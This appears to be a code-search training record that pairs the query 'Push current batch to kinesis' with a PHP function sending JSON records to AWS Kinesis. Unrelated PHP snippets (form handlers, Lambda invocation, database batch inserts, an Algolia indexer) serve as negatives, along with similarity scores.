'Saved'));\n\t\t\t\t\n\t url::redirect($this->section_url);\n\t } else {\n\t $this->session->set('alert',array('type' => 'success', 'message' => 'Updated'));\n\t\t\t\t\n\t url::redirect(Kohana::config('admin.url').'/'.$this->section_url.'/edit/'.$id);\n\t }\t \n\t } else {\t \t\n\t\t\t$this->session->set('alert',array('type' => 'danger', 'message' => 'There are form errors'));\n\n\t \treturn array($validation,0);\n\t\t}\n\t}", "public function _report_form_submit()\n\t{\n\t\t$incident = Event::$data;\n\n\t\tif ($_POST)\n\t\t{\n\t\t\t$action_item = ORM::factory('actionable')\n\t\t\t\t->where('incident_id', $incident->id)\n\t\t\t\t->find();\n\t\t\t\t\n\t\t\t$incident_message = ORM::factory('incident_message')->where('incident_id', $incident->id)->find();\t\n\t\t\t$messageID = $incident_message->message_id;\n\t\t\t$message = ORM::factory('message')->where('id',$messageID)->find();\n\t\t\t$smsFrom = $message->message_from;\n\t\t\t\n\t\t\t$locationID = $incident->location_id;\n\t\t\t$location = ORM::factory('location')->where('id',$locationID)->find();\n\t\t\t$locationName = $location->location_name; \n\t\t\t\n\t\t\t$outgoingMessage = Kohana::lang('actionable.action_taken_message').\": \".$incident->incident_title.\" | \".$locationName.\" | \".$incident->incident_date;\n\t\t\t$resolutionMessage = Kohana::lang('actionable.resolution_message').\": \".$incident->incident_title.\" | \".$locationName.\" | \".$incident->incident_date;\n\n\t\t\t$action_item->incident_id = $incident->id;\n\t\t\t$action_item->actionable = isset($_POST['actionable']) ? \n\t\t\t\t$_POST['actionable'] : \"\";\n\t\t\t$action_item->action_taken = isset($_POST['action_taken']) ?\n\t\t\t\t$_POST['action_taken'] : \"\";\n\t\t\t$action_item->action_summary = $_POST['action_summary'];\n\t\t\t$action_item->resolution_summary = $_POST['resolution_summary'];\n\t\t\tif(isset($_POST['action_taken'])){\n\t\t\t\tif($_POST['action_taken']==1){\n\t\t\t\t\tif(!isset($action_item->action_date)){\n\t\t\t\t\t\t$action_item->action_date = date(\"Y-m-d H:i:s\",time());\n\t\t\t\t\t\tsms::send($smsFrom,Kohana::config(\"settings.sms_no1\"),$outgoingMessage);\n\t\t\t\t\t}\n\t\t\t\t}else if($_POST['action_taken']==2){\n\t\t\t\t\tif(!isset($action_item->resolution_date)){\n\t\t\t\t\t\t$action_item->resolution_date = date(\"Y-m-d H:i:s\",time());\n\t\t\t\t\t\tsms::send($smsFrom,Kohana::config(\"settings.sms_no1\"),$resolutionMessage);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\t$action_item->action_date = null;\n\t\t\t\t$action_item->resolution_date = null;\n\t\t\t}\t\t\n\t\t\t$action_item->save();\n\t\t}\n\t}", "private function formSubmitted() {\n\t\t\t\n\t\t\t// connect db\n\t\t\t$this->db->replicaConnect(Database::getName($this->par['lang'], $this->par['project']));\n\t\t\t\n\t\t\t// build query for outgoing links\n\t\t\t$this->par['page'] = str_replace(' ', '_', $this->par['page']);\n\t\t\t$t1 = 'SELECT s.pl_title';\n\t\t\t$t1 .= ' FROM pagelinks s';\n\t\t\t$t1 .= ' INNER JOIN page tp ON (s.pl_title = tp.page_title AND s.pl_namespace = tp.page_namespace)';\n\t\t\t$t1 .= ' INNER JOIN page sp ON (s.pl_from = sp.page_id AND s.pl_namespace = sp.page_namespace AND sp.page_title = ?)';\n\t\t\t$t1 .= ' WHERE s.pl_namespace = 0';\n\t\t\t$t1 .= ' AND s.pl_from_namespace = 0';\n\t\t\t\n\t\t\t// execute query\n\t\t\t$q1 = $this->db->executePreparedQuery($t1, 's', $this->par['page']);\n\t\t\t\n\t\t\t// check for sql errors\n\t\t\tif (Database::checkSqlQueryObject($q1) === false) {\n\t\t\t\t$this->page->openBlock('div', 'iw-content');\n\t\t\t\t$this->page->addInline('p', 'SQL Error: ' . $this->db->error, 'iw-error');\n\t\t\t\t$this->page->closeBlock();\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\t$r1 = Database::fetchResult($q1);\n\t\t\t\n\t\t\t// build query for incoming links\n\t\t\t$t2 = 'SELECT tp.page_title';\n\t\t\t$t2 .= ' FROM page tp';\n\t\t\t$t2 .= ' INNER JOIN pagelinks t ON (tp.page_id = t.pl_from AND t.pl_title = ? AND t.pl_namespace = 0 AND t.pl_from_namespace = 0)';\n\t\t\t$t2 .= ' WHERE tp.page_is_redirect = 0';\n\t\t\t\n\t\t\t// execute query\n\t\t\t$q2 = $this->db->executePreparedQuery($t2, 's', $this->par['page']);\n\n\t\t\t// check for sql errors\n\t\t\tif (Database::checkSqlQueryObject($q2) === false) {\n\t\t\t\t$this->page->openBlock('div', 'iw-content');\n\t\t\t\t$this->page->addInline('p', 'SQL Error: ' . $this->db->error, 'iw-error');\n\t\t\t\t$this->page->closeBlock();\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t$r2 = Database::fetchResult($q2);\n\t\t\t\n\t\t\t$out = [];\n\t\t\t$inc = [];\n\t\t\t$common = [];\n\t\t\t$noback = [];\n\t\t\t$nolink = [];\n\t\t\tforeach ($r1 as $l1) {\n\t\t\t\t$out[] = $l1['pl_title'];\n\t\t\t}\n\t\t\tforeach ($r2 as $l2) {\n\t\t\t\t$inc[] = $l2['page_title'];\n\t\t\t}\n\t\t\t\n\t\t\t// get arrays\n\t\t\t$common = array_intersect($out, $inc);\n\t\t\t$noback = array_diff($out, $inc);\n\t\t\t$nolink = array_diff($inc, $out);\n\t\t\t\n\t\t\t// sort arrays\n\t\t\tsort($common);\n\t\t\tsort($noback);\n\t\t\tsort($nolink);\n\t\t\t\n\t\t\t// close queries\n\t\t\t$q1->close();\n\t\t\t$q2->close();\n\t\t\t\n\t\t\t// open statistics area\n\t\t\t$this->page->openBlock('div', 'iw-content');\n\t\t\t$this->page->addInline('h2', 'Statistics');\n\t\t\t\n\t\t\t$this->page->addInline('p', 'Page conjunction for ' . Hgz::buildWikilink($this->par['lang'], $this->par['project'], $this->par['page'], str_replace('_', ' ', $this->par['page']))\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t. ' (' . Hgz::buildWikilink($this->par['lang'], $this->par['project'], 'Special:Whatlinkshere/' . $this->par['page'], 'What links here') . ')');\n\t\t\t\n\t\t\t// statistics\n\t\t\t$this->page->openBlock('p');\n\t\t\t$this->page->openBlock('ul');\n\t\t\t$this->page->addInline('li', count($out) . ' links on this page');\n\t\t\t$this->page->addInline('li', count($inc) . ' links to this page');\n\t\t\t$this->page->addInline('li', '<a href=\"#noback\">' . count($noback) . ' links on this page without backlinks</a>');\n\t\t\t$this->page->addInline('li', '<a href=\"#nolink\">' . count($nolink) . ' incoming links without corresponding outgoing links</a>');\n\t\t\t$this->page->addInline('li', '<a href=\"#mutual\">' . count($common) . ' mutual links</a>');\n\t\t\t$this->page->closeBlock(2);\n\t\t\t\n\t\t\t// open result area\n\t\t\t$this->page->closeBlock();\n\t\t\t$this->page->openBlock('div', 'iw-content');\n\t\t\t$this->page->addInline('h2', 'Results');\n\t\t\t\n\t\t\t// no backlinks\n\t\t\tif (count($noback) != 0) {\n\t\t\t\t$this->page->addHTML('<span id=\"noback\"></span>');\n\t\t\t\t$this->page->addInline('h3', 'Articles linked from ' . str_replace('_', ' ', $this->par['page']) . ' with no backlinks:');\n\t\t\t\t$this->page->openBlock('ul');\n\t\t\t\tforeach ($noback as $v1) {\n\t\t\t\t\t$this->page->addInline('li', Hgz::buildWikilink($this->par['lang'], $this->par['project'], $v1, str_replace('_', ' ', $v1)));\n\t\t\t\t}\n\t\t\t\t$this->page->closeBlock();\n\t\t\t}\n\n\t\t\t// no wikilinks\n\t\t\tif (count($nolink) != 0) {\n\t\t\t\t$this->page->addHTML('<span id=\"nolink\"></span>');\n\t\t\t\t$this->page->addInline('h3', 'Articles with links to ' . str_replace('_', ' ', $this->par['page']) . ' but no links from here:');\n\t\t\t\t$this->page->openBlock('ul');\n\t\t\t\tforeach ($nolink as $v2) {\n\t\t\t\t\t$this->page->addInline('li', Hgz::buildWikilink($this->par['lang'], $this->par['project'], $v2, str_replace('_', ' ', $v2)));\n\t\t\t\t}\n\t\t\t\t$this->page->closeBlock();\n\t\t\t}\n\n\t\t\t// common links\n\t\t\tif (count($common) != 0) {\n\t\t\t\t$this->page->addHTML('<span id=\"mutual\"></span>');\n\t\t\t\t$this->page->addInline('h3', 'Articles linked from ' . str_replace('_', ' ', $this->par['page']) . ' with backlinks (mutual links):');\n\t\t\t\t$this->page->openBlock('ul');\n\t\t\t\tforeach ($common as $v3) {\n\t\t\t\t\t$this->page->addInline('li', Hgz::buildWikilink($this->par['lang'], $this->par['project'], $v3, str_replace('_', ' ', $v3)));\n\t\t\t\t}\n\t\t\t\t$this->page->closeBlock();\n\t\t\t}\n\t\t\t\n\t\t\t// close result area\n\t\t\t$this->page->closeBlock();\n\t\t}", "function handle()\n {\n\n if(isset($_POST['submit-report'])){\n $this->handleSubmission();\n }\n\n\n $this->page = file_get_contents('./pages/dispatch.html');\n $departments = $this->generateDepartments();\n $this->page = str_replace(\"<!-- Fill Departments -->\", $departments, $this->page);\n $this->page = str_replace(\"<!-- HEADER -->\", file_get_contents('./pages/header.html'), $this->page);\n //$this->page = str_replace('<!-- javascript -->', $this->getJS(), $this->page);\n }", "function process()\n\t{\n\t\tswitch(getPOST('action',''))\n\t\t{\n\t\t\tcase 'forum_send':\n\t\t\t\tif(isInPOST(array(\"body\")))\n\t\t\t\t{\n\t\t\t\t\tif($this->sendMessage($_POST['body'],getGET($this->reply_to_get,0)))\n\t\t\t\t\t\t$this->message(FORUM_MESSAGE_SEND_MESSAGE_OK);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase 'cat_operation':\n\t\t\t\tif(isset($_POST['cat_id']))\n\t\t\t\t{\n\t\t\t\t\tif(isset($_POST['pub']))\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this->pubCat($_POST['cat_id'],true))\n\t\t\t\t\t\t\t$this->message(FORUM_MESSAGE_PUB_CAT_OK);\n\t\t\t\t\t}\n\t\t\t\t\telse if (isset($_POST['unpub']))\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this->pubCat($_POST['cat_id'],false))\n\t\t\t\t\t\t\t$this->message(FORUM_MESSAGE_UNPUB_CAT_OK);\n\t\t\t\t\t}\n\t\t\t\t\telse if (isset($_POST['del']))\n\t\t\t\t\t{\n\t\t\t\t\t\tif(isset($_POST['del_bizt'])) \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($this->delCat($_POST['cat_id']))\n\t\t\t\t\t\t\t\t$this->message(FORUM_MESSAGE_DEL_CAT_OK);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse $this->message(FORUM_MESSAGE_DEL_BIZT);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase 'topic_operation':\n\t\t\t\tif(isset($_POST['topic_id']))\n\t\t\t\t{\n\t\t\t\t\tif(isset($_POST['pub']))\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this->pubTopic($_POST['topic_id'],true))\n\t\t\t\t\t\t\t$this->message(FORUM_MESSAGE_PUB_TOPIC_OK);\n\t\t\t\t\t}\n\t\t\t\t\telse if (isset($_POST['unpub']))\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this->pubTopic($_POST['topic_id'],false))\n\t\t\t\t\t\t\t$this->message(FORUM_MESSAGE_UNPUB_TOPIC_OK);\n\t\t\t\t\t}\n\t\t\t\t\telse if (isset($_POST['del']))\n\t\t\t\t\t{\n\t\t\t\t\t\tif(isset($_POST['del_bizt']))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($this->delTopic($_POST['topic_id']))\n\t\t\t\t\t\t\t\t$this->message(FORUM_MESSAGE_DEL_TOPIC_OK);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse $this->message(FORUM_MESSAGE_DEL_BIZT);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase 'post_operation':\n\t\t\t\tif(isset($_POST['post_id']))\n\t\t\t\t{\n\t\t\t\t\tif(isset($_POST['pub']))\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this->pubMessage($_POST['post_id'],true))\n\t\t\t\t\t\t\t$this->message(FORUM_MESSAGE_PUB_POST_OK);\n\t\t\t\t\t}\n\t\t\t\t\telse if (isset($_POST['unpub']))\n\t\t\t\t\t{\n\t\t\t\t\t\tif($this->pubMessage($_POST['post_id'],false))\n\t\t\t\t\t\t\t$this->message(FORUM_MESSAGE_UNPUB_POST_OK);\n\t\t\t\t\t}\n\t\t\t\t\telse if (isset($_POST['del']))\n\t\t\t\t\t{\n\t\t\t\t\t\tif(isset($_POST['del_bizt']))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($this->delMessage($_POST['post_id']))\n\t\t\t\t\t\t\t\t$this->message(FORUM_MESSAGE_DEL_POST_OK);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse $this->message(FORUM_MESSAGE_DEL_BIZT);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase 'new_topic':\n\t\t\t\tif(isset($_POST['topic_name']))\n\t\t\t\t{\n\t\t\t\t\t$this->createTopic($_POST['topic_name']);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase 'new_cat':\n\t\t\t\tif(isset($_POST['cat_name']))\n\t\t\t\t{\n\t\t\t\t\t$this->createCat($_POST['cat_name']);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}", "public function postDispatch(){\n\t\t\n }", "public function post_posts()\n\t{\n\t\t// Simply pass $_GET to the function, it's save as only values we understand will be read\n\t\t$this->fetch_posts($_GET);\n\t\n\t\t// Check which values have been passed and translate them for the faceted seach\n\t\t$search_values = array();\n\t\tforeach ( $this->locals as $varname => $default ) {\n\t\t\tif(isset($_GET[$varname])) {\n\t\t\t\tswitch($varname) {\n\t\t\t\t\tcase 'type':\n\t\t\t\t\t\t$search_values[] = 'type: ' . Post::type_name($_GET['type']);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'status':\n\t\t\t\t\t\t$search_values[] = 'status: ' . Post::status_name($_GET['status']);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'tag':\n\t\t\t\t\t\t$tags = explode(',', $_GET['tag']);\n\t\t\t\t\t\tforeach($tags as $tag) {\n\t\t\t\t\t\t\t$search_values[] = 'tag: ' . $tag;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'author':\n\t\t\t\t\t\t$search_values[] = 'author: ' . User::get($_GET['author'])->username;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t$search_values[] = $varname . ': ' . $_GET[$varname];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(count($search_values) > 0) {\n\t\t\t$search_value = implode(' ', $search_values);\n\t\t}\n\t\telse {\n\t\t\t$search_value = '';\n\t\t}\n\n\t\t// Create search controls and global buttons for the manage page\n\t\t$search = FormControlFacet::create('search');\n\t\t$search->set_value($search_value)\n\t\t\t->set_property('data-facet-config', array(\n\t\t\t\t'onsearch' => '$(\".posts\").manager(\"update\", self.data(\"visualsearch\").searchQuery.facets());',\n\t\t\t\t'facetsURL' => URL::get('admin_ajax_facets', array('context' => 'facets', 'page' => 'manage', 'component' => 'facets')),\n\t\t\t\t'valuesURL' => URL::get('admin_ajax_facets', array('context' => 'facets', 'page' => 'manage', 'component' => 'values')),\n\t\t\t));\n\n\t\t$navigation = FormControlStatic::create('navigation')\n\t\t\t->set_static('<a href=\"\" id=\"nav_prev\" class=\"navigation\">' . _t('Previous page') . '</a>'\n\t\t\t. '<a href=\"\" id=\"nav_next\" class=\"navigation\">' . _t('Next page') . '</a>');\n\n\t\t$aggregate = FormControlAggregate::create('selected_items')->set_selector('.post_item')->label('None Selected');\n\n\t\t$page_actions = FormControlDropbutton::create('page_actions');\n\t\t$page_actions->append(\n\t\t\tFormControlSubmit::create('delete')\n\t\t\t\t->set_caption(_t('Delete Selected'))\n\t\t\t\t->set_properties(array(\n\t\t\t\t\t'onclick' => 'itemManage.update(\\'delete\\');return false;',\n\t\t\t\t\t'title' => _t('Delete Selected'),\n\t\t\t\t))\n\t\t);\n\t\tPlugins::act('posts_manage_actions', $page_actions);\n\t\t\n\t\t$form = new FormUI('manage');\n\t\t$form->append($search);\n\t\t$form->append($navigation);\n\t\t$form->append($aggregate);\n\t\t$form->append($page_actions);\n\t\t$this->theme->form = $form;\n\n\t\t$this->theme->admin_page = _t( 'Manage Posts' );\n\t\t$this->theme->admin_title = _t( 'Manage Posts' );\n\n\t\tStack::add('admin_header_javascript', 'visualsearch' );\n\t\tStack::add('admin_header_javascript', 'manage-js' );\n\t\tStack::add('admin_stylesheet', 'visualsearch-css');\n\t\tStack::add('admin_stylesheet', 'visualsearch-datauri-css');\n\n\t\t$this->display( 'posts' );\n\t}", "function index() {\n\t\tif($this->RequestHandler->isPost()) {\n\n\t\t\tprint_r($this->data);\n\t\t\tdie;\n\n\t\t\tif($this->FormNewsletter->save($this->data)) {\n\n\t\t\t}\n\t\t}\n\n\t}", "public function post() {\n\t\t$this->html .= upload2::upld();\n\t\t$this->html .= showcsv::getform('CSVdata');\n\t\t$this->html .= scanfolder::ScFd('CSVdata');\n\t}", "public function _report_form_submit()\n\t{\n\t\t$incident = Event::$data;\n\n\t\tif ($_POST)\n\t\t{\n\t\t\t$action_item = ORM::factory('actionable')\n\t\t\t\t->where('incident_id', $incident->id)\n\t\t\t\t->find();\n\t\t\t$action_item->incident_id = $incident->id;\n\t\t\t$action_item->actionable = isset($_POST['actionable']) ?\n\t\t\t\t$_POST['actionable'] : \"\";\n\t\t\t$action_item->action_taken = isset($_POST['action_taken']) ?\n\t\t\t\t$_POST['action_taken'] : \"\";\n\t\t\t$action_item->action_summary = $_POST['action_summary'];\n\t\t\t$action_item->save();\n\n\t\t}\n\t}", "public function onSubmit();" ]
[ "0.7251956", "0.71086085", "0.70482355", "0.69709885", "0.6942938", "0.6786837", "0.67621803", "0.67614764", "0.6731898", "0.6695902", "0.6630035", "0.6577493", "0.65268564", "0.6525512", "0.6523192", "0.6523192", "0.6523192", "0.65116197", "0.6500993", "0.64890397", "0.64352185", "0.6431879", "0.6425273", "0.6399113", "0.63670754", "0.6321485", "0.6318237", "0.6312409", "0.63085216", "0.62619406", "0.62500733", "0.6245101", "0.62410426", "0.6237746", "0.6215263", "0.6210359", "0.6207489", "0.6195783", "0.61944836", "0.6181747", "0.6178111", "0.6175997", "0.6165977", "0.6141693", "0.61325157", "0.61215323", "0.61091036", "0.6086904", "0.6051053", "0.60454994", "0.6042856", "0.6042005", "0.60335827", "0.6032741", "0.60256225", "0.60250133", "0.6013951", "0.60060704", "0.60046715", "0.6004606", "0.6004606", "0.59999806", "0.59952086", "0.5994854", "0.5984082", "0.5973724", "0.5972719", "0.5946221", "0.5938378", "0.5935568", "0.59290695", "0.5920585", "0.5919108", "0.59075326", "0.5906234", "0.5900103", "0.5891355", "0.5887188", "0.58783555", "0.5874446", "0.5861721", "0.5858392", "0.5857022", "0.5850488", "0.5848835", "0.58320785", "0.5826211", "0.5825576", "0.58250725", "0.5818411", "0.58178025", "0.5815826", "0.58156097", "0.58114135", "0.58108336", "0.5801359", "0.58001256", "0.5799619", "0.5798143", "0.57904065" ]
0.67174196
9
Push current batch to kinesis
public function push(array $batch) { $records = array(); foreach ($batch as $record) { $records[] = array('Data' => json_encode($record), 'PartitionKey' => uniqid(),); } $result = $this->_kinesis->putRecords(array('Records' => $records, 'StreamName' => $this->_kinesisStreamName)); \cli::log('Pushing to kinesis a batch of ' . sizeof($records) . ' records to ' . $this->_kinesisStreamName); return $result; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function push(array $batch) { \n $data = json_encode($batch);\n\n\t\t$result = $this->_lambda->invoke(array(\n\t\t\t// FunctionName is required\n\t\t\t'FunctionName' => $this->_functionName,\n\t\t\t'InvocationType' => $this->_invocationType,\n\t\t\t'LogType' => $this->_logType,\n\t\t\t'ClientContext' => base64_encode(json_encode($this->_clientContext)),\n\t\t\t'Payload' => $data,\n\t\t));\n\t\t\\cli::log('Pushing to lambda a payload of ' . sizeof($batch) . ' records to ' . $this->_functionName);\n\n return $result;\n }", "public function run()\n {\n Sp_batch::insert([\n \t\t'batch'=>'1',\n ]);\n\n Sp_batch::insert([\n \t\t'batch'=>'2',\n ]);\n\n Sp_batch::insert([\n \t\t'batch'=>'3',\n ]);\n\n Sp_batch::insert([\n \t\t'batch'=>'4',\n ]);\n\n Sp_batch::insert([\n \t\t'batch'=>'5',\n ]);\n }", "function addBatchToQueue() {\n if(count($this->_importQueueBatch) == 0) {\n return;\n }\n $queueParams = array(\n 'entity' => $this->_entity,\n 'params' => $this->_importQueueBatch,\n 'errorFileName' => $this->_errorFileName,\n );\n $task = new CRM_Queue_Task(\n array('CRM_Csvimport_Task_Import', 'ImportEntity'),\n $queueParams,\n ts('Importing entity') . ': ' . $this->_lineCount\n );\n $this->_importQueue->createItem($task);\n $this->_importQueueBatch = array();\n }", "public function pushRecord()\r\n {\r\n\r\n }", "public function start()\n {\n //Start pushing data\n }", "private function pushCurrent()\n {\n if (!empty($this->data)) {\n $this->json .= 'dataLayer.push('.json_encode($this->data).');';\n $this->data = array();\n }\n }", "function add_stream_mark($params)\n {\n $this->db->insert_batch('full_marks', $params);\n return $this->db->insert_id();\n }", "public function push();", "public function push();", "public function push(Request $request, Stream $stream)\n {\n // TODO optimize to avoid aggregate every 2 sec.\n // Create a timeseries table with current total according to constraints\n $this->authorize('broadcast', Stream::class);\n $this->authorize('update', $stream);\n\n // Same RFC, different behaviors, and dont want to rework chunk on js\n // https://w3c.github.io/media-source/webm-byte-stream-format.html\n // Firefox:\n // - Split stream by cluster with fixed size on trigger\n // - SimpleBlocks timecode counter differs on each tracks (sound and video)\n // Chrome:\n // - Clusters with infinite size that hold ~11sec that are split on trigger\n // - SimpleBlock of all tracks share the same timecode counter\n // - On push first Chunk holds the EBML header and the first Cluster\n // - On pull if you send the same first chunk and use it on appendBuffer it crashes,\n // the first chunk must always be the EBMLHeader only\n\n // TODO Stop stream if it reaches size limit\n // TODO Check if stream is in progress\n\n // Start with EBML header => look for next cluter and split\n // Not start with Cluster => look for next cluster and split by timecode, begin will be appended to last file\n // Create an handle to manage the payload\n $chunkId = $request->header('X-Chunk-Order');\n if ($chunkId <= 0) {\n // TODO Validated header\n abort('400', 'Invalid Chunk Order, must be positive');\n }\n $fStream = fopen('php://temp', 'wb');\n $chunkSize = fwrite($fStream, $request->getContent());\n rewind($fStream);\n // Get pos of first Cluster\n // Needed for Chrome, allow me flags and seeks the closest one.\n $clusterOffset = Webm::seekNextId($fStream, '1f43b675');\n rewind($fStream);\n // TODO Consistency check if possible ?\n // Chunk are ordered by client but http request may not arrive at the same time\n // Check if first bytes is the EMBL Header\n if ($chunkId == 1) {\n // Fist chunk must contains the EBMLHeader\n // TODO Parse the whole if it doesnt affects spec\n $tag = bin2hex(fread($fStream, 4));\n rewind($fStream);\n if ($tag != '1a45dfa3') {\n Log::error('stream[' . $stream->id .'] first chunk has no EBMLHeader tag');\n abort('400', 'Invalid Chunk, first chunk must hold the EBMLHeader');\n }\n $streamChunk = new StreamChunk();\n $streamChunk->stream_id = $stream->id;\n $streamChunk->chunk_id = 0;\n $streamChunk->filename = StreamChunk::getFilename($stream->id, 0, false);\n $fHeader = fopen('php://temp', 'wb');\n $streamChunk->filesize = stream_copy_to_stream($fStream, $fHeader,\n is_null($clusterOffset) ? -1 : intval($clusterOffset),\n 0);\n Storage::put($streamChunk->filename, $fHeader);\n fclose($fHeader);\n $streamChunk->save();\n Log::debug('stream[' . $stream->id .'] push header');\n // Still has cluster, set offset to 0 for next code section\n if (!is_null($clusterOffset)) {\n $clusterOffset = 0;\n }\n }\n // If not eof write chunk and flag if cluster\n if (!feof($fStream)) {\n $streamChunk = new StreamChunk();\n $streamChunk->stream_id = $stream->id;\n $streamChunk->chunk_id = $chunkId;\n $streamChunk->filename = StreamChunk::getFilename($stream->id, $chunkId, $clusterOffset);\n $streamChunk->cluster_offset = $clusterOffset;\n $fChunk = fopen('php://temp', 'wb');\n $streamChunk->filesize = stream_copy_to_stream($fStream, $fChunk);\n // Repair Chunk if wrong timecode order\n rewind($fChunk);\n if (Webm::needRepairCluster($fChunk, true)) {\n rewind($fChunk);\n $fRepaired = Webm::repairCluster($fChunk);\n Log::debug('stream[' . $stream->id .'] repair chunk ' . $chunkId);\n Storage::put($streamChunk->filename, $fRepaired);\n fclose($fRepaired);\n } else {\n Storage::put($streamChunk->filename, $fChunk);\n }\n fclose($fChunk);\n $streamChunk->save();\n Log::debug('stream[' . $stream->id .'] push chunk ' . $chunkId);\n }\n fclose($fStream);\n // Increments total_size in byte\n $stream->increment('total_size', $chunkSize);\n \n // Average Push delay of 3sec => Return views 3 sec ago\n $views = StreamChunkMetric::where([\n 'stream_id' => $stream->id,\n 'chunk_id' => max($chunkId - 1, 1)\n ])->pluck('views')->first();\n\n return response(null, 200)\n ->header('X-Views', $views);\n }", "public function store(BatchRequest $request)\n {\n $request->request->add(['created_by'=>Auth::user()->id]);\n $id=Batch::create($request->all());\n $id->classes()->attach($request->input('class_id'));\n if ($id){\n $request->session()->flash('success_message','Batch Created Successfully');\n //redirect back to batch index page\n return redirect()->route('batch.index');\n }else{\n $request->session()->flash('error_message','Batch Creation Failed');\n //redirect back to batch index page\n return redirect()->route('batch.create');\n }\n }", "public function run()\n {\n $batches = [\n [\n 'name' => '45',\n ],\n [\n 'name' => '46',\n ],\n [\n 'name' => '47',\n ],\n [\n 'name' => '48',\n ],\n [\n 'name' => '49',\n ],\n [\n 'name' => '50',\n ],\n [\n 'name' => '51',\n ],\n [\n 'name' => '52',\n ],\n [\n 'name' => '53',\n ],\n [\n 'name' => '54',\n ],\n ];\n Batch::truncate();\n Batch::insert($batches);\n }", "private function inventory_batch()\n\t{\n\t\t// load the sync db\n\t\tee()->sync_db = ee()->load->database('sync_db', true);\n\n\t\t// find the most recent unprocessed shipments\n\t\t$query = ee()->sync_db->where('processed !=', '1')->order_by('id', 'asc')->get('products_inventory', 45000);\n\n\t\t// create arrays for processed inventory updates\n\t\t$ids_processed = array();\n\n\t\t// create array for the update query\n\t\t$inventory_update = array();\n\n\n\t\t// loop through each shipment\n\t\tforeach($query->result() as $inventory)\n\t\t{\n\t\t\t// add id to the processed array\n\t\t\t$ids_processed[] = $inventory->id;\n\n\t\t\t// add this update to the query\n\t\t\t$inventory_update[] = array(\n\t\t\t\t'sku' => $inventory->sku,\n\t\t\t\t'stock_level' => $inventory->quantity\n\t\t\t);\n\t\t\t\n\t\t} // end foreach\n\n\t\t// if we have records to process, update the stock levels and mark the records as processed\n\t\tif(count($ids_processed) > 0)\n\t\t{\n\t\t\t// run the update batch query\n\t\t\tee()->db->update_batch('store_stock', $inventory_update, 'sku'); \n\n\t\t\tee()->sync_db->where_in('id', $ids_processed)->set('processed', 1)->update('products_inventory');\n\t\t}\t\t\t\n\t\t\n\t}", "function add_batch($params)\n {\n $this->db->insert('batch',$params);\n return $this->db->insert_id();\n }", "public function queueItems() {\n if (!$this->read_only) {\n $this->datasource()->startTracking(array($this));\n }\n }", "public function execute() {\n $this->getQueue()->push($this->getJob(), $this->getJobOptions());\n }", "public function enqueue( $offset );", "public function push()\n {\n if ($parameters = func_get_args()) {\n $unique = false;\n\n if (count($parameters) == 3) {\n list($column, $values, $unique) = $parameters;\n } else {\n list($column, $values) = $parameters;\n }\n\n // Do batch push by default.\n if (!is_array($values)) {\n $values = [$values];\n }\n\n $query = $this->setKeysForSaveQuery($this->newQuery());\n\n $this->pushAttributeValues($column, $values, $unique);\n\n return $query->push($column, $values, $unique);\n }\n\n return parent::push();\n }", "function cps_changeset_publish_batch_entities($changeset, &$context) {\n cps_publish_changeset_entities($changeset->changeset_id);\n $context['results']['changeset'] = $changeset;\n $context['message'] = t('Publishing entities');\n $context['finished'] = TRUE;\n return $context;\n}", "public function commit()\n\t{\n\t\t$recordArray = $this->dataSet;\n\n\t\tif (count($recordArray) >= 1)\n\t\t{\n\t\t\t// Process data in batch\n\t\t\t$dataBatch\t= array();\n\t\t\t$count\t\t= 0;\n\n\t\t\tforeach ($recordArray as $k => $obj)\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\t// Push data into array\n\t\t\t\t\tarray_push($dataBatch, $obj);\n\n\t\t\t\t\tif (count($dataBatch) == $this->batchSize)\n\t\t\t\t\t{\n\t\t\t\t\t\t$processData\t= $this->algoliaADIndex->saveObjects($dataBatch);\n\t\t\t\t\t\t$dataBatch\t\t= array();\n\t\t\t\t\t\t$count\t\t\t+= count($processData['objectIDs']);\n\n\t\t\t\t\t\tforeach ($processData['objectIDs'] as $key => $val)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$processedData1[] = $val;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$processedData = $processedData1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcatch (exception $e)\n\t\t\t\t{\n\t\t\t\t\tdie('Error occured while inserting records into Algolia! - ' . $e->getMessage());\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Insert records in Algolia if record array is less than batchSize\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (count($dataBatch) < $this->batchSize && count($dataBatch) > 0)\n\t\t\t\t{\n\t\t\t\t\t\t$processData\t= $this->algoliaADIndex->saveObjects($dataBatch);\n\t\t\t\t\t\t$dataBatch\t\t= 